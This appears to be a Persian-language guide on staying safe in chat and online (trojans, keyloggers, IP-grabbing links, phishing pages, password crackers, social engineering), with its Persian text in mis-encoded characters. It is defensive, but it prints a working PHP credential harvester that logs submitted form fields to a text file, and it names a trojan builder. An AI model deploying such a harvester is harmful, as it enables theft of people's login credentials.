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 مقدمو

تمشیجب چٌذیي عبل اعت کَ چت ثب اثضاس ُبیی ًظیش یبُْ هغٌجش استجبط عشیغ ّ عبدٍ .ثب علام

اخیشا ًیض ؽجکَ ُبی اجتوبػی ًظیش فیغجْک ّ گْگل پلاط .هیبى ایشاًیبى سا فشاُن عبختَ اعت

ًمطَ هؾتشک هیبى آًِب .پذیذ آهذٍ اًذ کَ ًغجت ثَ یبُْ اص اهکبًبت ثیؾتشی ثِشُوٌذ ُغتٌذ

ؽبیذ ثشای ؽوب ُن پیؼ آهذٍ ثبؽذ کَ دس فضبی ایٌتشًت ُک ؽذٍ ثبؽیذ .هغئلَ اهٌیت اعت

فمظ .احغبط اهٌیت دس ایٌتشًت ُن هوکي اعت.ّ احتوبلا ثؼذ اص آى اص ؽوب اخبری ؽذٍ ثبؽذ

دس ایي کتبة هتذاّل تشیي سّػ ُب تْضیح .ثبیذ ساٍ ُبی ًفْر سا ؽٌبعبیی ّ آًِبسا ثشطشف ًوبیین

پظ دیگش ًگشاى اهٌیت خْد .دادٍ ؽذٍ ّ ُوچٌیي ثِتشیي سّػ ُبی جلْگیشی ُن ثیبى ؽذٍ اعت

 !ًجبؽیذ

 ثب تؾکش،ػلی اًصبسی
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 از چو راه ىایی ىک میشٌید؟

 تشّجبى ُب ّ کیلاگش ُب-1

 صفحبتی کَ آیپی ؽوب سا ثَ ُکش هیذٌُذ-2

 صفحبت تملجی-3

 کشکش ُب-4

 !!!هٌِذعی اجتوبػی-5

ُشکذام اص ایٌِب ثَ .ایي پٌج سّػ اص هتذاّل تشیي سّػ ُبی ُک کشدى کبسثشاى فضبی هجبصی اعت

دس اداهَ ثیؾتش .ساحتی لبثل جلْگیشی اعت ثَ جض سّػ پٌجن کَ کبهلا ثَ خْدتبى ثغتگی داسد

 .تْضیح خْاُین داد
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 ترًجان ىا

تشّجبى یک فبیل جبعْعی هیجبؽذ کَ تْعظ ُکش ثب تْجَ ثَ ًیبص ثَ اطلاػبت لشثبًی  :تؼشیف

 .آهبدٍ هیؾْد ّ ثشای لشثبًی فشعتبدٍ هیؾْد

ثَ ػٌْاى هثبل ُکش ثَ تشّجبى یب ُوبى فبیل جبعْعی دعتْس هیذُذ کَ ثشّد ّ اص هکبى 

هؾخصی اص کبهپیْتش ؽوب پغْسد ُبی رخیشٍ ؽذٍ سا ثذصدد ّ ثشای ایویل ُکش ثفشعتذ کَ اگش ثب 

اص جولَ ًشم افضاس ُبی عبخت .هْفمیت ُوشاٍ ثبؽذ صیبى ُبی ججشاى ًبپزیشی ثَ ثبس هی آّسد

 . اعت کَ ُکش ُبی صیبدی اص آى ثؼٌْاى یک تشّجبى عبص هحجْة یبد هیکٌٌذMagic Psتشّجبى 

 :هؼوْلا تشّجبًِب ثَ دّ لغوت تمغین هیؾًْذ
  .کَ تٌظیوبت سا اًجبم دادٍ ّ آى سا ثب تْجَ ثَ ًیبصُبیی کَ ثیبى کشدین تٌظین هیٌوبیٌذ:کلایٌت-1
کَ ثؼذ اص تٌظیوبت ثبیذ ایي عشّس ثشای لشثبًی فشعتبدٍ ؽْد تب لشثبًی ثؼذ اص دسیبفت آى :عشّس-2

 .سا اجشا کٌذ
 

 .ثب پیؾشفت تشّجبى ُب ایي اهکبًبت ثَ آًِب اضبفَ ؽذ
 فشعتبدٍ ؽذى اکبًت ایٌتشًت ؽوب ثشای ُکش-1
 فشعتبدٍ ؽذى ًبم کبهپیْتش ؽوب ُوشاٍ ثب پغْسد ّیٌذّص ثشای ُکش-2
 کبهپیْتش ؽوب تْعظ ُکش( Task Managerلفل ؽذى )هحذّد کشدى کبسُبی ؽوب ثب کبهپیْتش-3
 اص کبس اًذاختي ّیشّط کؼ ّ فبیشّال کبهپیْتش ؽوب-4
پبک کشدى فبیل اص کبهپیْتش ؽوب ّ یب اضبفَ کشدى فبیل )دس اختیبس داؽتي ُبسد ؽوب تْعظ ُکش-5

 (تْعظ ُکش
 

ثشای ؽوب اسعبل ؽْد یب یک فبیل صْتی یب  (exe)یک تشّجبى هیتْاًذ ثَ صْست فبیل اجشایی 
دس صْست دّم ؽوب هتْجَ ًویؾْیذ کَ ایي یک تشّجبى .(Bind)تصْیشی ثب تشّجبى ادغبم ؽْد

 .اعت

 
دس صْستی کَ کبهپیْتش ؽوب ایي هؾخصبت سا داسد ثبیذ ثگْین هتبعفبًَ کبهپیْتش ؽوب آلْدٍ ثَ 

 .تشّجبى اعت
  Task Manager  ّMsconfigدس صْست اص کبس افتبدى -1
 اص کبس افتبدى ّیشّط کؼ-2
 تغییش دس ؽکل تْپی پغْسد دس هغٌجش ّیب عیْ ًؾذى آى-3
 (ثبص ّ ثغٌَ ؽذى یک پٌجشٍ پی ام)دس صْست دیذى ػلائن هؾکْک دس هغٌجش-4
 Task Manager  ّMsconfigفؼبل ثْدى ًشم افضاس ُبی هؾکْک هثل -5
خْاًذٍ ؽذى ایویل ُبی کَ هب آًِب سا لجلا ًخْاًذٍ این -6

 

 :ثشای جلْگیشی اص آلْدٍ ؽذى ثَ تشّجبى ایي هْاسد سا سػبیت کٌیذ
 اص ُش فشد ًبؽٌبعی فبیل دسیبفت ًکٌیذ-1

خْد سا چک کٌیذ اگش چیضی هؾکْک دیذیذ هثل  Task Manager  ّMsconfigُویؾَ  -2
sender.exe َثشّیذ ّ دس دسایْ ّیٌذّص پْؽwindows/system32 َدًجبلَ چٌیي فبیلی ثبؽیذ ک

 .هؾکْک ثْد ّ آى سا پبک کٌیذ
 .آًتی ّیشّط خْد سا ُویؾَ ثَ سّص ًگَ داسیذ-3

 . اعتفبدٍ کٌیذAnti Trojan Eliteثشای اص ثیي ثشدى تشّجبى ُب اص 
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 لینک ىایی کو آیپی شما را بو ىکر میدىند
 

ؽوب . هیجبؽذ255 تب 0آیپی یک ًؾبًی چِبس لغوتی اعت کَ ُش لغوت ؽبهل یک ػذد ثیي 
 :ّلتی ثَ ایٌتشًت هتصل هیؾْیذ داسای یک آیپی هثل آیپی صیش ُغتیذ

0.1.2.3 
آیپی ؽوب سا ثذاًذ ثب آًلایض کشدى پْست ُبی ثبص ؽوب ثَ  (ُکش)اگش کغی کَ همبصذ ثذی داسد

 .ساحتی ثَ عیغتن ؽوب دعتشعی پیذا هیکٌذ

 !!! ایي خذهت سا ثشای ُکش ُب اًجبم هیذُذmyspy.irعبیت 
آیپی،عیغتن ػبهل،هشّسگش، .ایي عبیت یک لیٌک ثَ ُکش هیذُذ ّ ُکش ُن آًشا ثَ ؽوب هیذُذ

عبیت ُبیی کَ دیذٍ ایذ ّ اطلاػبت حغبط دیگشی ثب ثبص ؽذى ایي لیٌک تْعظ ؽوب ثَ ُکش 
 .دادٍ هیؾْد

تٌِب ساُی کَ هیتْاًیذ اص ؽش ایي سّػ آعْدٍ ثبؽیذ .ایي لؾش اص لیٌک ُب لبثل ؽٌبعبیی ًیغت

 .ایي اعت کَ ُْؽیبس ثبؽیذ ّ ُش لیٌکی سا اص ُش ًبؽٌبعی کَ ثَ ؽوب هیذُذ ثبص ًکٌیذ
چْى فبیشّال ُب هؼوْلا آیپی ایي جْس عبیت .ًصت یک فبیشّال خْة ًیض هیتْاًذ ثغیبس هْثش ثبؽذ

 .ُب سا ثلاک هیکٌٌذ ّ ثَ ؽوب اجبصٍ ّسّد ًویذٌُذ
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 صفحات تقلبی

صفحبت تملجی دلیمب . اص هحجْة تشیي سّػ ُب ًضد ُکش ُب اعتFake Pageصفحبت تملجی یب 
ًْؽتَ ُب،عبیض ُب ّ ُوَ چیض دلیمب هثل صفحَ اصلی یبُْهیل .ؽجیَ ثؼٌْاى هثل یبُْ هیل اعت

ثب ّاسد کشدى ایویل ّ پغْسد ؽوب ُشدّ دس جبیی رخیشٍ هیؾًْذ ّ ُکش ثؼذا ثَ عشاؽ آًِب .اعت

 .خْاُذ سفت ّ احتوبلا ػْالت هخشثی خْاُذ داؽت
 

 ساٍ ُبی ؽٌبعبیی صفحَ تملجی یب فیک پیج
 

 :ثؼٌْاى هثبل آدسط یبُْهیل ایٌچٌیي اعت.اصْلی تشیي ساٍ ًگبٍ کشدى ثَ آدسط اعت-1

http://yahoomail.com 
اهب آدسط فیک پیج هوکي اعت ؽجیَ آدسط ثبلا ثبؽذ اهب ُیچْلت خْد ایي آدسط ًیغت پظ ثب 

 .کوی دلت هیتْاًیذ ثفِویذ کَ ایي صفحَ ّالؼی اعت یب تملجی
 :هثبل آدسط فیک پیج

http://yahoomail.felan.com 

ثشای ایي کبس سّی صفحَ .ثشای ؽٌبعبیی صفحَ تملجی هیتْاى ثَ کذ صفحَ ًیض تْجَ کشد-2
 . صفحَ ثشای ؽوب ًوبیبى هیؾْدhtmlاکٌْى کذ . سا اًتخبة کٌیذView Sourceساعت کلیک کٌیذ ّ 

 . ثگشدیذactionحبلا دًجبل ّاژٍ 
 :چیضی ؽجیَ ثَ ایي خْاُیذ دیذ

 
هیجیٌیذ کَ آدسط هشثْط ثَ عبیت یبُْ هیجبؽذ پظ ایي صفحَ . ّجْد داسدactionیک آدسط جلْی 

 .ًویتْاًذ تملجی ثبؽذ
https://login.yahoo.com/config/login? 

 

ثذیي هٌظْس یک .سّػ عْم ؽٌبعبیی فیک پیج ُب ّاسد ؽذى ثب ایویل ّ پغْد ثی اسصػ اعت-3
اگش پیغبم خطب داد ثذیي هؼٌی اعت کَ ایي .ایویل تبصٍ ثغبصیذ ّ ثب آى ایویل ّ پغْسد ّاسد ؽْیذ

اهب صفحبت تملجی گبُب پظ اص ّسّد ثَ صفحَ اصلی یبُْ هٌتملتبى هیکٌٌذ .یک صفحَ تملجی اعت
.ایي ُن ثب ًگبٍ کشدى ثَ آدسط ّ دیذى تغییشات لبثل ؽٌبعبیی اعت.کَ ؽک ًکٌیذ  
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 رًش کار صفحات تقلبی

ثشای ایٌکَ سّػ کبس صفحبت تملجی سا ثذاًین اثتذا لاصم اعت کوی اص صثبى ُبی ثشًبهَ ًْیغی صیش 
.عشسؽتَ داؽتَ ثبؽین  

Html,PHP 
عپظ ثب تغییش دادى آدسط جلْی اکؾي .ُکش ُب اثتذا کذ صفحَ اصلی یبُْ هیل سا رخیشٍ هیکٌٌذ

فبیل پی اچ پی اطلاػبت ثَ دعت .صفحَ سا هٌحشف هیکٌٌذ ّ ثَ یک فبیل پی اچ پی اًتمبل هیذٌُذ
.آهذٍ اص صفحَ تملجی سا تحلیل هیکٌذ ّ آى سا دس یک فبیل هتٌی رخیشٍ هیکٌذ  

:ًوًَْ کذًْیغی صفحَ تملجی  
<form method="post" action="hacker.php" 

:ًوًَْ فبیل پی اچ پی ُکش  

 
<?php 

header ('Location: /error.php '); 
$handle = fopen("Hacker.txt", "a"); 

foreach($_POST as $variable => $value) { 

   fwrite($handle, $variable); 
   fwrite($handle, "="); 

   fwrite($handle, $value); 
   fwrite($handle, "\r\n"); 

} 
fwrite($handle, "\r\n"); 

fclose($handle); 

exit; 
?> 

:ایي ثشًبهَ پی اچ پی اطلاػبت ؽوب سا دس فبیلی ثب ًبم صیش رخیشٍ هیکٌذ  
Hacker.txt 
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 (Fake Program)برنامو ىای تقلبی 

ُکش یک فبیل .چْى ؽوب ًویتْاًیذ ثَ ُویي ساحتی هتْجَ ثؾْیذ.ایي سّػ خیلی خطشًبک ُغت
 .ثب ثبص کشدى آى فبیل ثؼٌْاى هثبل یبُْ هغٌجش ؽوب آلْدٍ خْاُذ ؽذ.هخشة سا ثشای ؽوب هیفشعتذ

ؽوب اکٌْى دس کبپیْتش خْد یک ثشًبهَ تملجی .ایي الْدگی ثَ ؽکل ظبُشی خْدػ سا ًؾبى ًویذُذ
 !!!داسیذ کَ آى ُن یبُْ هغٌجش هیجبؽذ

دس ایي حبل اگش ثب آیذی ّ پغْسد خْد ّاسد ؽْیذ ثلافبصلَ آیذی ّ پغْسد ؽوب ثشای ُکش اسعبل 
 .صیشا ایٌذفؼَ تشّجبى دس للت یبُْ هغٌجش ؽوب ًفْر کشدٍ اعت.هیؾْد

 

 ساٍ ُبی جلْگیشی اص ایي سّػ
 .آًتی ّیشّط خْد سا ثشّص ًگَ داسیذ-1

 .ُویؾَ جذیذ تشیي ًغخَ یبُْ هغٌجش سا ًصت کٌیذ-2
 .یبُْ هغٌجش خْد سا اص عبیت ُبی هؼتجش داًلْد کٌیذ-3

 

 
 

 
 

 
 

 

 
 

 
 

 

 
 

 
 

 

 
 

 
 

 
 

 

 
 

 
 

 

 



  اهٌیت ٌُگبم چت ّ صحجت کشدى دس فضبی ایٌتشًت 

 
10 

 

 کیلاگر ىا

کیلاگش ُب دس اثتذا فمظ کلیذ ُبی صدٍ .کبس کیلاگش ُب ثغیبس عبدٍ ّ ُوچٌبى ثغیبس هخشة اعت

اهب ثب پیؾشفت ػلن ُکیٌگ کیلاگش ُب داسای اهکبًبتی .ؽذٍ سّی کیجْسد سا ثشای ُکش هیفشعتبد
 .ًظیش ػکظ گشفتي اص صفحَ ّ فشعتبدى ثشای ُکش ؽذًذ

 
کیلاگش ُب اطلاػبت سّ ثَ ایویل ُکش یب یک عشّس اف تی پی هیفشعتٌذ کَ دس ُش دّ صْست یکی اص 

 .هؾخصَ ُب کبُؼ ًبگِبًی عشػت ایٌتشًت ّ ثبصگؾت ثَ حبلت ػبدی اعت
 

اهب اصلا .دّس صدى کیلاگش ُب ثغیبس هؾکل ُغت چشا کَ لبدس ُغتٌذ خْدؽْى سّ هخفی کٌٌذ

 .چْى ُویؾَ یک ساٍ حل ّجْد داسد.ًگشاى ًجبؽیذ
 

 هتذاّل تشیي ساٍ ُبی دّس صدى کیلاگش
 

 .اعتفبدٍ اص یک آًتی ّیشّط ثشّص ّ پش لذست-1

اعتفبدٍ اص صفحَ کلیذ ُبی هجبصی ًظیش صفحَ کلیذ ّیٌذّص کَ اص آدسط صیش لبثل دعتشعی -2
 :ُغت

Start – All Programs – Accessories - Ease of Access - On-Screen Keyboard 
 .صدى کلیذ ُبی هتفشلَ ّ اؽتجبٍ ثَ ٌُگبم ّاسد کشدى پغْسد ثشای عشدسگن کشدى ُکش-3

 
 :یک ثشًبهَ ضذ کیلاگش

http://www.anti-keyloggers.com 

 
 

 
 

 

 
 

 
 

 

 
 

 
 

 
 

 

 
 

 
 

 

 

http://www.anti-keyloggers.com/
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 Cracker))کرکر ىا 

 

 ثَ ایي صْست اعت کَ تؼذاد صیبدی پغْسد ثَ ُوشاٍ آیذی ؽوب ثَ ثشًبهَ crackerسّػ کبس 

cracker دادٍ هیؾْد ّ ثشًبهَ ثب اتصبل ثَ عشّس ُبی یبُْ ایي پغْسد ُب سا اهتحبى کشدٍ ّ ّلتی 

 .ایي سّػ ُوبى سّػ آصهْى ّ خطب هیجبؽذ.ثَ پغْسد دسعت سعیذ ثَ ُکش اطلاع هی دُذ

دس اّایل کبس یبُْ لبًًْی ّضغ کشد کَ طجك آى اگش اص طشف یک آیپی تؼذاد صیبدی لاگیي اًجبم ؽْد 

اهب هذتی ثؼذ .ثب ایي سّػ تب هذتی جلْی کشکش ُب سا گشفت.آى آیپی دیگش لبدس ثَ لاگیي ًخْاُذ ثْد

ُکش ُبی خلاق ثب ًصت پشّکغی سّی ثشًبهَ ثبػث ؽذًذ کشکش ُش اص چٌذ گبُی آیپی خْد سا 

 .ٌُْص ُن ایي سّػ پشّکغی کبسایی داسد.ػْض کٌذ تب یبُْ آًشا ؽٌبعبیی ًکٌذ

 .ثشًبهَ ُبیی ُن ُغتٌذ کَ تؼذاد صیبدی پغْسد هی عبصًذ ثشای کشکش ُب

گبُب گفتَ .هِن تشیي ساٍ جلْگیشی اص لْ سفتي پغْسد تْعظ کشکش اًتخبة یک پغْسد طْلاًی اعت

اهب هي ثَ ؽوب هیگْین کَ .هیؾْد دس پغْسد خْد اص کبساکتش ُبی ػجیت ّ غشیت اعتفبدٍ کٌیذ

چْى ُوبى ثشًبهَ ُبی پغْسد عبص .اعتفبدٍ اص کبساکتش ُبی ػجیت ّ غشیت کبهلا ثی فبیذٍ اعت

 .هیتْاًٌذ پغْسد ُبیی ؽجیَ پغْد ؽوب ثغبصًذ

 :ثَ عبیت صیش ثشّیذ

http://www.passwordmeter.com 

. ایي عبیت ثَ ؽوب هیگْیذ پغْسدتبى چمذس لْی اعت ّ چمذس طْل هیکؾذ تب کشک ؽْد

: ایي عبیت ًیض ثَ ؽوب کوک هیکٌذ پغْسدی لْی ثغبصیذ

http://strongpasswordgenerator.com 

. اعتفبدٍ اص ایي دّ عبیت ثَ ؽذت تْصیَ هیؾْد

 

 

 

 

 

 

 

http://www.passwordmeter.com/
http://strongpasswordgenerator.com/
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ميندسی اجتماعی 

: تؼشیف ثیي الوللی اص هٌِذعی اجتوبػی دس عبیت ّیکیپذا چٌیي آهذٍ اعت 

هٌِذعی اجتوبػی ٌُش ثِشٍ ثشداسی اص سفتبسُبی آعیت پزیش اًغبى ُب ثشای ایجبد ؽکبف اهٌیتی 

 .ثذّى ُیچ ظي ّ گوبًی اص عْی لشثبًی اعت

توبم ساٍ ُبیی کَ دس ایي کتبة ًْؽتَ ؽذٍ ثب ثکبس ثشدى هٌِذعی اجتوبػی دّ ثشاثش آعبًتش 

. هیؾْد

. ثب یک هثبل ایي هغئلَ سا تْضیح هیذُن

. ُکش ثشای فشعتبدى تشّجبى یب کیلاگش ثَ عوت لشثبًی ًیبص داسد تب لشثبًی سا ثَ ایي کبس تشغیت کٌذ

لشثبًی سا ... ّ"ػکظ ُبی فلاى ٌُشپیؾَ"،"کبهلا سایگبى"ثَ ایي هٌظْس اص جولَ ُبی جزاثی هثل 

. تشغیت ثَ داًلْد فبیلی هیکٌذ کَ آلْدٍ ثَ تشّجبى یب کیلاگش اعت

 

. هثل خجش هشگ یب اتفبلی ثضسگ ثشای ؽخصیت ُبی هِن:لیٌک ُبیی کَ خجش ُبی ثضسگ داسد-1

. کغی کَ خْد سا اص دّعتبى ؽوب هؼشفی هیکٌذ:جؼل ُْیت-2

. ایي دّ اص ثشتشیي سّػ ُبی هٌِذعی اجتوبػی ثَ ؽوبس هیشّد

ثلکَ یک ًفش هوکي .هٌِذعی اجتوبػی تٌِب تشغیت ثشای دسیبفت فبیل خبصی ًیغت:ًکتَ هِن

اهب اّ ثب داًغتي ایٌِب هیتْاًذ سهض ػجْس .اعت اص ؽوب ثخْاُذ هؾخصبت تْلذ خْد سا ثَ اّ ثذُیذ

. ؽوب سا اص یبُْ دسیبفت کٌذ


